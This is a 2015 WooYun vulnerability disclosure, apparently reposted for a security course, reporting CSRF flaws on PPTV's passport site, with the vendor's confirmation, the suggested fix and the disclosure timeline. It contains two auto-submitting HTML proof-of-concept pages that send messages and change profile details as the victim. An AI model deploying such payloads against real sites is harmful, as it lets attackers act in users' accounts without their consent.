破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

PPTV可CSRF修改他人资料、发送短消息

编号121232
Urlhttp://www.wooyun.org/bug.php?action=view&id=121232
漏洞状态厂商已经确认
漏洞标题PPTV可CSRF修改他人资料、发送短消息
漏洞类型CSRF
厂商PPTV(PPlive)
白帽子jeary
提交日期2015-06-18 10:17:00
公开日期2015-08-03 11:00:00
修复时间(not set)
确认时间2015-06-19 00:00:00
Confirm Spend1
漏洞标签csrf漏洞利用 csrf
关注数0
收藏数0
白帽评级
白帽自评rank10
厂商评级
厂商评rank3
漏洞简介
~~
漏洞细节

PPTV修改资料和发送短消息等敏感操作为验证token和来源,导致CSRF
发送短消息POC:

<html>  
<body>
<form action="http://passport.pptv.com/addmessage.do" method="POST">
<input type="hidden" name="receiver" value="wooyuntest" />
<input type="hidden" name="title" value="test123" />
<input type="hidden" name="content" value="test123test123test123test123test123test123" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>


修改昵称POC:(修改昵称需要知道对方的username)

<html>

<body>
<form action="http://passport.pptv.com/saveUserinfo.do" method="POST">
<input type="hidden" name="nickname" value="hacktest123456" />
<input type="hidden" name="username" value="&#95;48030525&#64;qq" />
<input type="hidden" name="sex" value="1" />
<input type="hidden" name="year" value="1990" />
<input type="hidden" name="month" value="9" />
<input type="hidden" name="day" value="1" />
<input type="hidden" name="province" value="" />
<input type="hidden" name="city" value="" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>


POC

访问POC自动提交,效果如图:

01.jpg


02.jpg

修复方案

验证来源、敏感操作加token

状态信息 2015-06-18: 细节已通知厂商并且等待厂商处理中
2015-06-19: 厂商已经确认,细节仅向厂商公开
2015-06-29: 细节向核心白帽子及相关领域专家公开
2015-07-09: 细节向普通白帽子公开
2015-07-19: 细节向实习白帽子公开
2015-08-03: 细节向公众公开
厂商回复谢谢关注,正在处理中
回应信息危害等级:低漏洞Rank:3 确认时间:2015-06-19 11:00